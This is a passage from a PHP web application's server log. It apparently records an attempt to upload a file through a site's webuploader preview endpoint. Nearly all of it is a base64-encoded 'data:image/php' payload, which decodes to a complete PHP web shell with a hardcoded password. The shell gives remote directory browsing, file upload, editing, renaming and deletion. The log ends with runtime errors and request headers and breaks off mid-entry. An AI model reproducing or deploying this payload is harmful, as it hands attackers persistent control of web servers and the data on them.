'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:54+08:00 ] 119.42.146.234 POST 51tianwei.com/manage/webuploader/preview.php [运行时间:0.002970s] [吞吐率:336.70req/s] [内存消耗:196.28kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 